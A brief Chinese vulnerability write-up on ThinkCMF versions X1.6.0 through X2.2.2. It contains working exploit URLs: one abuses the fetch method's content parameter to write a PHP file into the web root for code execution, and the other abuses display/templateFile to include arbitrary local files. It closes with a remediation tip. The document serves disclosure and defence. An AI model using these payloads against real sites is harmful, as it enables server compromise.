0x01 简介
ThinkCMF是一款基于ThinkPHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
但是由于代码漏洞,可以构造恶意url造成文件包含/上传漏洞。
0x02 漏洞版本
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
0x03 环境搭建
ThinkCMF X2.2.2 下载:https://github.com/SaltNego/much_tools
0x04 漏洞复现
通过fetch方法和content参数,控制写入内容在当前web目录写入php文件,造成代码执行
http://127.0.0.1/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('196a4758191e42f7.php','<?php echo $showtime=date("Y-m-d H:i:s");phpinfo(); ?>')</php>
通过display方法和templateFile参数进行包含任意文件
http://127.0.0.1/ThinkCMFX/?a=display&templateFile=C:\WindowsUpdate.log
0x05 修复建议
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected